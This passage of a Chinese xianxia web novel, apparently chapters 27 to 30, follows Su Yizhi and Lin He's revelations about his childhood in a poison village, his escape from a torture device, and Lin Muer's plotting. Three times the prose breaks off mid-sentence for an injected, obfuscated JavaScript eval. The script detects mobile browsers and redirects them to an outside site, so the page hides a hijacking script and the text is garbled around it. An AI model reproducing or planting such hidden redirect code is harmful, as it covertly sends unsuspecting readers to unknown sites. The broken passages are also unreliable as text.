当时场面极其混乱,人人自危,加上她修为又比在场所有人都高,所以无人感应到她元神。 她看到了一切,看到林河突然出手杀了林明林暗,看到秦炎受伤,还看到鱼跃在远处用千里眼观战。 “我十分确定,人就是你杀的。”苏一枝收回目光,看向脚下夜色里的离火宗,“我只是好奇为什么。” 林河看着苏一枝,眼神里有探究,过了很久才说:“为了争夺以后的宗主之位。” 苏一枝拍手:“所以说,你以后还有可能会杀了林潭,对吗?” “这就是你救我的原因?” “你觉得是,那就是吧。不过,如果你先于我对林潭动手,不要让他死得太容易。我讨厌那些作恶多端的人轻易死掉。” “行。” 林河终于确定,十年前,林明林暗对苏一枝不敬时,她是昏迷着的,并不知情。 既然如此,就让这秘密随着两个畜牲的死,永远埋葬吧。 “我还有个问题。”苏一枝说,“林木儿体内的蓇蓉草之毒,以及林森误食的假死兔,都是出自你手?为什么?你又为什么会有这些东西?” “这是三个问题。” “你可以一个一个回答。” “在回答之前,我想知道,你为什么会怀疑是我。” “发现林木儿中毒我就一直在想到底会是谁,得知你倾慕她许久,便猜是你。你喜欢她,所以不想她怀上别人的孩子。但我还是想不明白你为什么要让林森也中毒。” “原来在你眼中我是这个样子。”林河笑了一下,“毒确实是我下的,但却并不是你说的原因。给林木儿下毒,是因为她想要孩子,我就偏不让她如愿。给林森下毒,是想见你。” 苏一枝:“?” “我从来没有喜欢过林木儿,我对她恨之入骨。” “?” “你知道我这一生,最害怕的是什么,最想要的又是什么吗?” “?” “我最害怕的是被抛弃,最想要的,是有一个人,可以一直陪着我,无论发生任何事,都不放弃我。” “?”苏一枝不理解,“可是这跟我问的问题又有什么关系?” “你当真,一点都不记得我了吗?” 一个答案在苏一枝心里呼之欲出,可她不敢相信。 她难以置信地看着林河,修真之人视力好,即使在夜色里,也能看到他眼底复杂的情绪流转,似心痛,似嘲讽,似委屈,似怨恨,似失望,却又似有一簇小小的希望火苗在燃烧。 “你是,毒村的那个孩子?” 林河背过脸去。 沉默。 长久的沉默。 他的肩膀微微耸动,苏一枝想了想,起身,转到他面前,赫然发现他已泪流满面。 她想伸手帮他擦掉眼泪,却在即将触碰到他脸颊时停住,收了回来。 十年过去,他已经不是小孩了。 可是…… “真的是你,我早该想到的。”苏一村轻轻说,她到底还是伸出手,用手背抹了抹他脸上的泪水,然后轻轻揽住他,“我真笨。” 林河终于抱住她,像个孩子般,放声大哭。 因刚才的大战而惊飞出去,好不容易飞回来准备安睡的夜鸟,再次被惊飞,扑啦啦离开山林。 哭声渐歇,林河过了一会才问:“你还记得我们最后一次见面吗?” 他的声音因刚才的哭泣而带上了些鼻音。 “那天下着很大的雪,你坐在我家那堵断墙上,说你以后可能很难再来得这么频繁。那时我已有预感,你这次离开,就不会回来了。我很想跟你走,可你说没法带着我。我送了一根鬼枝给你,你还记得吗?” 苏一枝惭愧,她当然记得,那截乌黑的木头,五六寸长,比小指略细,黑色纹理,有淡淡的木香。林河递给她的时候还摸了摸头,很是不好意思,说那鬼树总也不开花,只能拿这个将就用一下,让她佩戴在身上,以后便不会迷路了。等什么时候鬼花开了,再换过来。 她其实很喜欢那鬼枝的朴实无华,收下后就插在头上。 可惜后来九死一生,肢体破碎,魂魄离体,所有东西自然都丢了。 但还没等她开口说抱歉,林河就又说:“我知你身受大苦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056404|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那鬼枝必然早已丢了。丢了好,其实我当时想送你的就不是鬼枝,而是鬼花。” 他指尖勾了勾,有光芒亮起,一捧花出现在掌心里。 那花红艳艳的,铃铛一般倒挂着,在夜色里发出耀目光芒,迷幻而又柔媚。 “13年前,你第一次迷路跌落在沼泽,我就想送你鬼花,可那时它总不开花,我没办法,只得在你离开时送你鬼枝。后来我有空就去沼泽看,只要它开花了,就会摘上一朵,不知不觉,攒了这么些。” 林河第一次见到苏一枝,是在13年前,他7岁。 当时的苏一枝极其狼狈,坐在失灵的纸鸟上,一头栽进沼泽,然后越陷越深。她一边尖叫,一边碎碎念跟那些乱爬的毒虫说些什么:你们能听懂我说话吗?能去叫些大的灵兽来救我吗?拜托拜托,求求你们了。 林河躲在沼泽边的林子里默默看她,觉得好玩,便将绳子绑在自己腰上,又扯了根枯藤,从林子里找来些枯木,利用自己体形优势,将她救了出来。 她虽然浑身污泥,脸也弄得脏兮兮的,一双眸子却清亮无比,很是惊奇又带着无比赞赏的语气看着他:“哇,所以你经常这样救人吗?” 是个善良无邪的人。 林河在心里判断。 她说她能听懂灵兽的话,那些毒虫神智太低才无法跟她交流。 原来还是有些异能在身的,林河想。 那么,一个有异能的善良的人,会帮自己吗? 他试探着说:“我家条件不太好。” 谁知对方一声叹息:“我也一样。” “你父母也打你吗?”林河问。 对方一愣,片刻后摇头:“打倒不打。” 然后她就喋喋不休跟他说起自己如何如何感受不到亲情,天天被母亲骂第一胎占了男孩位,又说她通兽语是抢了大弟的能力,这种天生适合猎兽的能力,要是放在大弟身上,苏家就不用愁了。可惜落到她身上,害惨了苏家。 她每天都被骂得抬不起头来,直到有一天,一个看起来很厉害的人对她说,你是个很厉害的姑娘,你真的很不错,你要不要跟我去修仙,然后当我的儿媳妇。 这种明显像个骗子的话,她居然听了还很高兴,很开心就把人带回家,说要跟人家走。 自然又少不了被母亲一顿骂,但骂的也不是她如此轻信别人,而是说她走了谁赚灵石,为什么偏偏是她而不是别的人,一定是她偷奸耍滑不想干活勾引别人。 她忍不住回嘴说人家给的灵石都不知道够我赚多少年的了,你还有什么不满的。她母亲伸手就打,说她还没嫁过去,就开始向着男人了。 她实在受不了,才决定跟那人去修仙之前,先出来散散心,谁知纸鸟失灵,落到沼泽里。 林河听完,将之前对她的判断改了一下:一个善良无邪到有点愚蠢的人。 不过这位善良无邪到有点蠢的人临走前给了他许多肉干,所以他想,他得去弄点鬼花来,如果下次还能见她,就送她些鬼花,这样她即使纸鸟失灵,也不会迷路了。 当时他只是这么随便想想,没觉得以后真的会再遇到她。 没成想,不久后就再次看到了她。 依旧是纸鸟失灵,依旧是一头栽进沼泽里。 不过这次她学聪明了点,知道趴在沼泽上慢慢往前爬了。 林河觉得她这样不知道什么时候才能爬出沼泽,啪地又扔了根枯藤过去。 她出沼泽第一句话是说:“我能去你家换下衣服吗?” 之后她便随他回了家,目睹了他如何遭受家暴,然后,给他用了让凡人羡慕得眼珠子都要掉下来的仙门丹药。 她还对自己那瘫痪在床依然能施暴的父亲说,可以让他站起来,但要保证他们不再虐待自己。她说每过一段时间就会来看看,直到他平安健康长大,才会送上丹药。 林河一向觉得自己可以洞悉别人心思,没人心里的小九九能逃脱他法眼。 可是直到很多年后他才回过味来,其实第一次他提起家庭条件不好时,苏一枝就明白了,只是她那时并无能力改变任何,只好装作不知。 后来她去到离火宗,得了些丹药,再遇到自己,就忙着用换衣服的借口,去他家里为他出头了。 他的判断终究是错了,她善良,却并不愚蠢。 “所以林河,你为什么可以深入沼泽?”苏一枝将那鬼花拈出一朵来插入发间,又将剩下的编成一个花环,戴到林河头上,“你从小就在毒村捉毒虫为生,又能深入沼泽,为什么?” 28. 第 28 章 林河捉住苏一枝手腕,伸出另一只手,将花环取下来,举在面前,仔细端详。 女人都是这么手巧心又灵吗? 他这么多年来深入沼泽去守鬼树开花,也采到了很多,却从没想过,其实送花,还可以编成花环来送。 林河不由有点后悔。 “我有一个秘密,这个秘密除了我自己,谁都不知道,你想听吗?”他问。 “这话听起来很危险,你手段众多,防不胜防,我还是别听了,免得哪天被灭了口。”苏一枝说。 她说不听了,林河却自顾自说了起来。 林河从一出生就有记忆。 他记得清清楚楚,他从一个黑暗的地方,历尽千辛万苦,终于挣脱束缚,却怎么都睁不开眼睛,也无法呼吸,憋得肺都要炸了。有人托着他,端详着他的脸。虽然他看不见,但能感受得到视线。 然后,那人似乎带着他飞了很远,将他丢进了一个可怕的地方,他浑身都很痛,钻心地痛,却依旧哭不出声音。 后来他才知道那是荒芜沼泽。 他一直伸着胳膊腿挣扎,吸引来了一头通天犀,那通天犀将他翻来翻去,尾巴在他身上啪啪地拍,又伸出舌头在他脸上舔了又舔,他哇地一声哭了出来,呼吸顿时通畅,眼睛也睁开了。 之后那通天犀咬破自己前腿,将流下来的血滴进他嘴里,又看了他一会,甩着尾巴,头也不回离去。 林河不知道那通天犀为什么会救自己。 后来他了解到,沼泽很深的地方,似乎有许多万年之前的神兽,它们适应了日渐稀薄的灵气和沼泽的恶劣环境,活了下来。然而灵气的稀薄和环境的恶劣,慢慢激发了它们心中的恶,许多神兽已经变成可怕的凶兽。它们平日里静静蛰伏于沼泽深处,不轻易现身于人前。 而那知通天犀,应该是良知未泯,见不得一个幼小生命的消逝,所以才会救他。 通天犀的角可解万毒,血更是除解毒之外,还可提供一个生命活着所需要的一切,即使一个月内不吃东西也不会饿死。 林河活了下来,不吃不喝也不觉得饿,最重要的是,世间一切毒物,都无法再伤他分毫。 他日日夜夜啼哭,终于有一天,一个女人循着哭声找到了他。 “你居然还没死。”她语气震惊,艳丽的脸庞上喜悦与无奈交加。 她抱着他来到毒村,将他交给了一对无法生育的夫妇。 起初那对夫妇对他极为疼爱,是真心想将他当成自己亲生孩子抚养,直到他一岁一个月零三天时,刚学会开口说话没多久,他父亲回来,说有个同去捉虫的男人,被咬了脖子,当场就死了。 “这,这,这可如何是好?你,你没事吧?”母亲着急,“我们还要捉多久的毒虫?” 父亲叹息:“不干吧,活不下去,更别提养活孩子。干,谁也说不准哪天会死。真要能捉很久的毒虫,那都是幸运之极了。” 他插嘴,说出了学说话以来最长的一句话:“妈,妈,毒虫,我不怕。我被扔在沼泽里时,它们在我身边,爬来爬去,我还抓来玩。” 一男一女顿时像见了鬼一样,站起身来,跳开老远。 盯着他瞅了好久,母亲才颤抖着声音问:“你,你刚才说什么?” “我不怕毒虫。” “小孩子说话真是没个正形,什么古怪的话都能说出来。你在家教他说话时注意点,别什么都教。” “我……” 从那后,这对夫妻对他多少就有点疏远,经常会用探究的眼神看着他。 他不是非常明白,但也知道了自己那天说的话是不好的,便不再提起。 两岁那年,父亲不顾母亲劝阻,捉虫时带上了他。 见他真的丝毫不惧毒虫,伸手就捉,不由白了脸。 再之后,他们对他态度完全变了样,不再当他是孩子,也不再当自己是他父母,他们将他当成了捉毒虫的工具。 不但如此,在他4岁时,那个男人甚至想割了他的男性标志吃掉,觉得这样,就可以拥有属于自己的孩子。 他听了这样的话,又气又怕,慌乱中打翻了装毒虫的瓶子,毒虫咬伤了那个男人,男人再也没能站起来。 “真是报应!”苏一枝觉得那虫子咬得太好了。 她忽然想起什么,觉得有些惭愧:“我那时说每隔一段时间就会去看你一次,以防他们继续虐待你,可后来……他们有又对你怎么样吗?” 林河轻轻舒了口气,身上死气又消散了不少,好像整个人终于可以光明正大活着了。 “说实话,虽然我们最后一次见面,我预感到你不会再回来,可你真的没有出现,我心里,其实是有点怨你的。我这一生,总是被抛弃,被放弃。母亲生了我,又扔了我,然后发现我活了,又捡回我,最后还是放弃我。养父母开始对我很好,只因为发现我自幼就有记忆又不怕毒,便当我是怪物。遇到你之后,我觉得你是我最想抓住的人,我想有这样一个可以无话不谈又相依为命的朋友,可是最后,我还是被放弃了。” “我很想当面问你,为什么要放弃我。于是我每次捉虫卖掉的灵石,都只交给养父母一半,剩下的自己攒着,准备攒够了就去离火宗找你。没想到一年后,我就被青木宗的余芷夫人领养了。到了青木宗一打听,才知道原来你活得那么艰难。至于养父母,”林河停顿了一会,才说,“余芷带走我时应该给他们留下了灵石和丹药,但不知为什么,后来我回去看时,只见到屋子有两具尸体,并且死状看起来挺惨。想来是又被毒虫咬了吧,毒村毕竟是个危险的地方。” 门窗都被封死,屋子里扔进几十条毒虫,人当然会死得很惨,不过这些,林河觉得没必要跟苏一枝说。就好像他也没必要告诉苏一枝,养父瘫痪,是他有意为之。 “我在青木宗拼命学习,什么都学,我希望有一天,可以帮到你。但仅仅一年,你就被她们欺负得下落不明,生死未知。”林河声音微微发抖,连胳膊都抖了起来,直到苏一枝握住他的胳膊,他才平静下来,继续说,“可我只有10岁,我什么都做不了。那一年离火宗不知下落的人太多了,根本没人在意你的消失。林木儿没有因为你的生死不明而生出半点害怕,她将矛头指向了林桐桐。林桐桐被她欺压得受不了,就拉了自己好友赵果儿一起玩,林木儿这才放过林桐桐,赵果儿成了被欺凌的那个。再后来,她被林潭看中,娶了回家,不到一年就被林木儿弄死了。这些不知道孙喜男有没有跟你说。哦对了,听说你母亲后来去过离火宗,得知你失踪了,闹了一场,最后拿了些补偿才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068652|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走。” 久违的,家人的消息,从一个完全出乎意料的人口中传来。 苏一枝一时说不清心里什么滋味。 她想了又想,觉得母亲之所以会去离火宗,断不可能是因为想她,想要看望她,应该是她失踪后,离火宗就断了寄给她家的灵石吧。 那三年她在离火宗受尽屈辱,离火宗却没几个人觉得对她不起,应该就是因为,每个月都会派人给她家人寄去灵石。 想来真是让人羞耻。 “你知道为什么,我明明有很多机会,却没有想过要杀林木儿吗?”林河忽然问。 他喜欢看那些讨厌的东西在面前慢慢挣扎,然后再彻底毁灭。 但只有对林木儿,却不完全是这样。 “为什么?” “我怕杀了她,万一哪天你回来了,就会嫁给秦炎。我很讨厌秦炎,他不是个好人,却好像总是很讨女人喜欢。” “怎么可能?” “我们第一次相见的时候,你说你快要嫁人了。当时我还好奇你有18岁吗,就要嫁人。你说你会先去那人家修炼两年,跟未来夫君熟悉一下,然后再结婚。我问你喜不喜那人,你说你都没见过人,怎么喜欢。第二次见面,我问你,见到那个人了吗,喜不喜欢。你说,你不知道自己该不该喜欢。后来每见你一次,都发现,你的神色比上一次更萎靡,心情也一次比一次差。我真的很想鬼树快点开花,我觉得,你如果看到那么漂亮的鬼花,心情一定会变好了。最后一次见面,我问你,喜欢那个人吗。你说不知道该不该喜欢,但是不喜欢。你从来没有坚定地说过自己不喜欢,所以我觉得,你至少曾经喜欢过他。” “我不喜欢他。”苏一枝目光坚定,“一点儿都不喜欢,我对他的恨,甚至比对林木儿更甚。” 在16岁之前,苏一枝不知道什么叫恨,也没恨过人,她只知道什么是讨厌一个人。 她讨厌母亲的唠叨,讨厌村子里那些不怀好意盯着她的男人,甚至讨厌那个只是听说却没见过面的王大胖。 来到离火宗,她才明白什么是恨。 她恨林木儿,恨秦玉芝,恨钟仙,恨林桐桐,也恨秦炎。 有没有喜欢过秦炎,这个问题她其实也问过自己很多次。 她承认,是曾经有过些许憧憬。 第一次见面时她惊为天人,可很快发现人家对她不感兴趣。后来下山历练,她明明已经历许多折磨,却依然希翼那场历练能拉近二人之间的距离,让她们之间的关系发生那么一星半点变化。那样的话,回去之后,秦炎应该就不会对她的受辱视而不见。 可惜,一切都是她的一腔情愿。 历练是一个人,回去后的折磨变本加厉,多次神魂几欲离体,为她点了魂灯的秦炎必然能看到魂灯明灭,可他依旧选择视而不见。 她甚至怀疑,即使她的魂灯真灭了,秦炎的眼睛都不会眨一下。 既然如此,要魂灯何用。 所以重铸魂体后她挖去了魂灯联系,切断了两人之间任何关联。 因爱生恨似乎远谈不上,但她确确实实,恨秦炎超过林木儿。 林河正要说话,腰间传讯符忽然亮了一下。 “林河?你在哪里?” 是林木儿的声音。 29. 第 29 章 林木儿在和林桐桐去沼泽前,就知道父亲把林河抓了起来,却没有审问出什么,也没有实质性证据。 她觉得自己这位父亲还是差了些手段,恐怕要自己来才行,但对她来说,眼下最重要的,是去找鱼跃跟邪神许愿对付苏一枝。 拷问林河,又不差这一天两天。 最主要的是,她根本不相信自己大哥二哥会是林河杀的。 就算不谈他对自己的心思,单是从自身利益出发,他也没理由那么听养父林渊的话杀林明林暗。 青木宗宗主的位置,最好一直是她父亲或她哥哥来坐,她哥哥活着,林河才能更好活着,这个道理,她不信林河不懂。 再说了,她那两个哥哥,修为普通,反应又慢,在那样的大战中,战死再正常不过了,为什么非得是被林河害的呢。 但又确实非得是林河杀的不可。 林家两兄弟,林潭资质不如林渊,但子息方面比林渊旺盛,也就弥补了所谓德不配位的说法。可如今仨儿子死了俩,还剩林柯一个,而反观林渊,虽说林河不是亲生的,到底还是有两个儿子。 必须是林河杀的,这样两边才能平衡。 林木儿在沼泽里继续用幻境符困住林桐桐,然后毫不犹豫再次献祭50年寿命,许愿置苏一枝于死地。 之后便匆匆回程,准备想法子对付林河,谁知林河竟跑了。 所有可能接近地牢的人都被叫到了青木宗的大殿,问,问不出什么,折磨人的符箓一道道用上,全都坚持说不知。 林木儿试着给林河发了传讯灵符,本以为他不会回复,好不容易逃出去,定然不想再跟她有什么联系。 谁知林河不但回复了,还很干脆地说自己马上就回。 林木儿都给干懵了,不知道这是怎么回事。 “这么大动静?”林河抬脚迈进大殿,对着那些被摧残过的长老和夫人以及部分精英弟子不住作揖,“对不起,都是因为我,让大家受苦了。” 孙喜男抬头看他,只觉得短短时间,林河像是变了一个人。 身上浓郁的死亡气息已然散去,变得神采飞扬,人活泼不少,话也多了起来。 这样才对,多么好看的年轻人,总是死气沉沉,毫无生气,让人看了就怕,那样太不正常了。 不过,他回来做什么? 自己冒着风险放他,又咬牙在这里撑着,不就是为了给他自由么?他为什么还要回来? “林河!你还敢回来!”林潭暴喝。 “伯父的气还没消吗?”林河苦笑,“两位堂兄之死,我也很难过。伯父迁怒于我,将我关进地牢拷打,我百口莫辩。但我想着,若是折磨我几顿,能减轻伯父的丧子之痛,那这折磨挨得也值。” 他摊了摊手:“可我也不能一直被这么关着是不是?我体谅伯父,但这体谅也不是毫无底线。总不能伯父说要杀了我,我为了让伯父不难过,就真的引颈求死吧?我觉得,差不多就行了,所以我就出去了。是我自己出去的,跟他们所有人都没有关系。你又折磨他们做什么?都说木主仁,可我看青木宗行事,真是离仁太远。” “林河!不要胡说!”这次暴怒的是林渊。 “你们不信?不信跟我去地牢,看那些东西是不是真的能困住我。”林河转身走出大殿,满殿人呆呆望着,无人阻拦。 地牢在青木宗偏南的位置,靠近明湖,在地牢入口,依稀能闻到微风吹过来的湖面潮湿气息。 一行人走下通道,进入地牢。 映入眼帘的是飘在半空中的丛棘,很多。 这个当年折磨得苏一枝痛不欲生的刑具,其实只能用来折磨金丹期以内弟子,越往里走,刑具就越高级。 林潭用来对付林河的,是魂茧,上品法宝,形状看起来像两口钟合在一起,里面会不断生出一种叫勾魂索的藤类,越生越多,直到密密麻麻,将空间全部塞满。 勾魂索生长不会很快,从开始生出第一根枝条,到长满,足足要三天时间。 可如果人在钟内,看着身侧有藤枝生长,那藤刀砍不断,火烧不断,你越用灵力想要催毁它,它就长得越快,第一根,第二根,第三根,越生越多,连成一片,你躲无可躲,被那藤枝穿过身体,将身体搅得粉碎,血肉与满满当当的藤枝融为一体。 在此过程中,人的恐惧会被无限放大。 很多人没等藤枝完全将身体扎满,就已经魂飞魄散。 林河被孙喜男放出来时,已经在里面呆了两天。 他将自己缩小很多,挤在角落,想看看自己的极限是什么。 结果孙喜男来了。 “我奉苏姑娘的命来放你出去。”她说。 林河觉得自己刚刚修出尚未成型的元婴,刷地一下不受控制了起来,几乎就要冲出丹田。 然后他前往东林山,恰好赶上了苏一枝被追杀。 冥冥之中,真是一切都刚刚好。 “上魂茧!”林潭眼睛布满血丝,“我倒要看看,他有什么能耐逃脱。” 林河再次被投进魂茧里。 片刻,有勾魂藤从茧壁生出。 林河伸出手,掌心变得紫黑一片,他贴着茧壁,轻轻摩梭,一遍又一遍。 “娘,哥哥在干什么?”林森晃着余芷的手问。 余芷叹了口气:“娘也不知道,再看看吧。你以后莫要像哥哥这样,总闯一些莫名的祸。” “装神弄鬼,拖延时间。”林潭说。 不知过了多久,众人耐心都快消失殆尽,议论声和谩骂声此起彼伏,林河终于将他的手伸到了魂茧之外。 他先伸出一只手,然后两手用力朝两边一扒,魂茧裂开,他就这么大喇喇走了出来。 喧闹的地牢沉寂下来。 原先那些被困在魂茧和从棘里不停叫着的人也止住叫声,目瞪口呆看着林河。 林河拍了拍手:“这不就出来了?” 林潭难以置信:“你是怎么做到的?” “没什么好奇怪的,”林河说,“万事万物总有生克,这魂茧乃铁桦木做壳,坚硬无比,刀枪箭斧皆无法伤之分毫,火烧不燃,水泡不烂,但是,它却怕一种植物汁液的腐蚀。” “什么植物?”林木儿问。 “这个就没必要告诉你们了。” “你究竟还隐藏了多少秘密和实力?”林木儿又问。 “木儿姐这话说得奇怪,谁还没个秘密呢,你没有吗?你们,没有吗?”林河指向地牢中或跪或站着的人。 众人沉默不语。 孙喜男低着头,悄悄笑了。 原来,林河根本就不是真的被困住。 苏一枝知道吗? 还是说,她根本就只是为了考验一下自己? 若是如此,那很好,真的。 她没有生气,反而觉得更放心了,心里甚至生出些欢喜。 苏一枝,她喜欢。 林河,她也喜欢。 笑着笑着,孙喜男忽然鼻子一酸,眼睛就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085631|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湿了。 要是果儿还活着,能跟她们成为朋友,那该有多好啊。 林潭怀疑林河杀了林明林暗,本就没有任何实质性证据,闹了这么一出,不好再对林河做什么。 林木儿嫌弃父亲做事总不过脑子,然而事已至此,无力回天,她也不想再掺合这事了。 现在,她只想赶紧回离火宗去验收自己在黑水邪神那献祭了50年寿命换来的成果。 林木儿来到丹药峰的时候,苏一枝刚炼出一炉延年益寿丹,每颗可增加寿命十年。 看起来平平无奇,但在如今的灵岳大陆却稀缺得很。 这里人均寿命极低,修士与天争命也争得越来越辛苦。 按理说筑基期活个百把两百岁没问题,金丹期能活到五百,元婴期寿达千年,可是现在,金丹期修士撑死也就能活个两三百岁,还得在不出意外的情况下。可偏偏意外无所不在,近百年来,即使是合体期,也几乎没有能活过两百岁的修士。 谁不想增加寿元呢。 因此药一出炉,祝从容就拿了三颗。 他的妻子是个凡人,如今已经42岁,为他生了一儿一女后,身体就不太好,尽管用了各种丹药,还是一日比一日更虚弱,几近风烛残年。 延年益寿丹的方子虽从古延续至今,他们也一直在尝试去炼,可近百年来不知哪里出了问题,炼出来的药总有许多弊端,完全在赌一个概率,有的虽能增加寿命,却会让身体有无法恢复的损伤,有的甚至当场死亡。 久而久之,便没人敢再去赌。 可玄天鼎炼出的益寿丹,断然不会有那些副作用,这个祝从容非常确信。 他只拿了三颗,准备全部给妻子服下,这样妻子能活到七十多,如果到时自己还没死,再拿药继续给她吃就好。 倒也没必要一次性吃太多,不然,若是自己哪次下山出任务死了,他们孤儿寡母的,在离火宗日子并不好过。 祝从容想起苏苏问过他一个问题,说为什么只娶了一个妻子,还是凡人。 他当时的回答是:不想害人。 是的,不想害人。 他资质不好,人又老实,虽然身处丹药峰这样重要的位置,但也没几个人看得上他。勉强找个仙门女子,估计人家也觉得充满了将就。可若不结婚,他这样的人,又顶不住流言蜚语。所以他干脆找了个凡人女子,从一而终。 那些娶了一个又一个的,都是为了多多生育子女。 但对他来说,资质平凡,生很多孩子出来,不过是跟他一样被人明里暗里瞧不起罢了,要是可以,他干脆一个都不想生。 可妻子生在这样的世道里,被世俗思想浸淫,觉得不生孩子,自己就失去了价值,他想了想,觉得很是理解,如果真的不生孩子,身边人不会说他如何如何,但定然会对妻子多加指责。 他如果不能帮妻子免去那些流言蜚语,倒不如顺其自然。 生了一儿一女后,妻子身体已经不太行了,他每日里各种丹药往回拿,还是无法阻止她的日渐衰弱。 那张世俗大口,害人至此,可偏偏他们都是再平凡不过的人,无力挣脱。 从这方面来说,祝从容很喜欢苏苏,因为他隐约觉得,苏苏,是真正有能力对抗世俗的人。 如果可以,他希望自己也能站在苏苏背后,为她对抗这世俗世界出一份薄力。 所以看到林木儿前来,刚刚将益寿丹塞进储物袋准备离开的祝从容,停下了脚步,转回到苏苏身边。 30. 第 30 章 在看到苏一枝安然无恙的那一刹那,林木儿觉得自己毛都炸了。 怎么回事? 她献祭50年寿命,都没能换来苏一枝的消失吗? 白白浪费了50年命? 虽然不是她自己的,那也很让人心疼啊。 等等! 难道说,一定要用自己的寿命,才能真正换来想要的? 那自己肚子的孩子,并不是献祭寿命所得,而是柳益的药调理出来的吗? 可若是这样,鱼跃为什么没有跟她说清楚? “夫人,来拿药?”祝从容迎上前,“夫人从青木宗让人送来的药材,昨日已经收到并入库了。” 林木儿目光在两人间来回转了几遭,最终哼了一声,说:“这几日奔波,腹内总有下坠感,看看需不需要多吃些药。” 祝从容帮她摸脉:“应是精神压力太大,过于紧张所致,离火宗近日事多,夫人辛苦了。” 林木儿勾起一边嘴角:“是呢,最近宗内发生太多事了。那你看着给我配些药吧。” 祝从容应了声,转身进了内室,不一会,捧出几盒丹药,交给林木儿。 待林木儿走后,他摸了摸脑袋,竟然不知不觉出了一脑门的汗! 苏一枝笑:“大师伯你好像很紧张?” “你不紧张?”祝从容完全忘了自己可以使用净尘诀,抹完脑门又抹脸,“我都吓死了,生怕一句话惹她不高兴,她又把矛头指向你。” “这个你不用担心。因为不管你怎么做,她最后都是要针对我的。” “为什么?当初我生怕你这张脸引她妒嫉,可是这么久以来,你在丹药峰兢兢业业,对宗主也没有半点心思,大家都看在眼里呢。” “可能她心里有鬼吧。” 心里有鬼的林木儿回到离心殿,见秦炎已经开始打坐运气,不由没好气:“不是说让你多休息才恢复得快吗?” “我自己心里有数。”秦炎抬眸,“你怎么了?遇到什么事了吗?” 林木儿坐到他身边:“父亲怎么样了?” “还在嫂子的葫芦里,说是年月太久,怨气太深,需要很长时间才能净化。” “我听说,白金宗有意将钟仙也送过来。” “是,钟刚前日和我说了。” 七日后,秦旺尸鬼净化完毕,虽仍因血肉流失看起来干枯瘦弱,但看上去已然一脸安详。 离火宗为他举行了送别仪式,青木宗白金宗以及一些小宗门都有派人参加,白金宗带来了钟仙。 现在看来,在沼泽里死亡到变成尸鬼,需要时间,也需要有人操作,所以之前第一批去寻钟仙的弟子都变了尸鬼,但第二批跟着秦炎前去的却并没有。 只是当时情况太过危急,他们自身难保,只将钟吾真和离火宗丁鹏长老的尸身带了回来,哦,还有青木宗的林明林暗。 至于别的弟子,或许过段时间再去沼泽,他们也已经变成尸鬼了吧。 钟吾真长老尸身被带回白金宗后,一直在凝仙宫保存着,钟刚想等将钟仙净化了,再一起下葬。 秦玉芝也来了,脸色苍白不少,多了些愁容,不再像之前那般总是饱满的,天真无邪的。 “你这脸色,是吓的?”林木儿斜睨着秦玉芝,“只要一想到苏一枝还在离火宗活得好好的,就睡不着觉?” 秦玉芝抬头看她:“你上次给我吃的药,到底是什么?你不是说对身体没有伤害么?为什么我的孩子……” “你若听我的,又怎会失去孩子!” “我昏迷着,哪里管得了别人找谁来救我。苏一枝说如果她不救我,我会死。” “你信我,还是信她?” “我不知道。” “你不知道?”林木儿气笑了,“秦玉芝,你究竟有没有脑子?” “我只知道我失去了孩子,并且以后都不能再生孩子。” “如果你按照我说的做,什么事都不会有。偏偏你选择了相信苏一枝,吃了她所谓的解药,所以孩子才没了。结果你还要听信她的馋言,认为是我要害你?我害你,对我有什么好处?你也不想想,当初她把你当唯一的朋友,后来却被你背叛,她心里对你的恨能少?她会救你?” “我说了,我昏迷着,是钟刚带她给我吃的解药,我真的不知道该信谁了。”秦玉芝捂住脸。 林木儿冷冷瞧着她,看她拿开手,看她脸上泪湿一片。 “也不是没有补救的方法,只是,这次你得信我才行。” “什么方法?” 林木儿左右看了一圈,虽然是在离心殿一角,虽然刚才拉秦玉芝过来时已用灵力检查了一遍,可她依旧不太放心,生怕哪里又被那苏一枝放上玄影石。 她附在秦玉芝耳边,低低说了几句。 秦玉芝面上现出犹豫之色。 林木儿勾起嘴角:“就看你自己愿不愿意了,反正,我是不怕,因为我知道,她肯定会先对你们下手,最后才轮到我。” “就没有别的办法了吗?为什么每次都是我。” “你以为我没有在想办法?前些日子,我甚至连那黑水门的黑水邪神都去找了,也不知怎么回事,竟然没成。” “许愿很灵的黑水邪神?” “看来你也听过。” “为什么连黑水邪神对她都不起作用?”秦玉芝一向圆润讨喜的脸因为消瘦,下巴显得有些尖,她扬着下巴,瞪大了双眼,“该不会,她其实是黑水邪神的人吧?” “!”林木儿恍如被一道天雷劈开灵台,很多疑惑霎时有了答案。 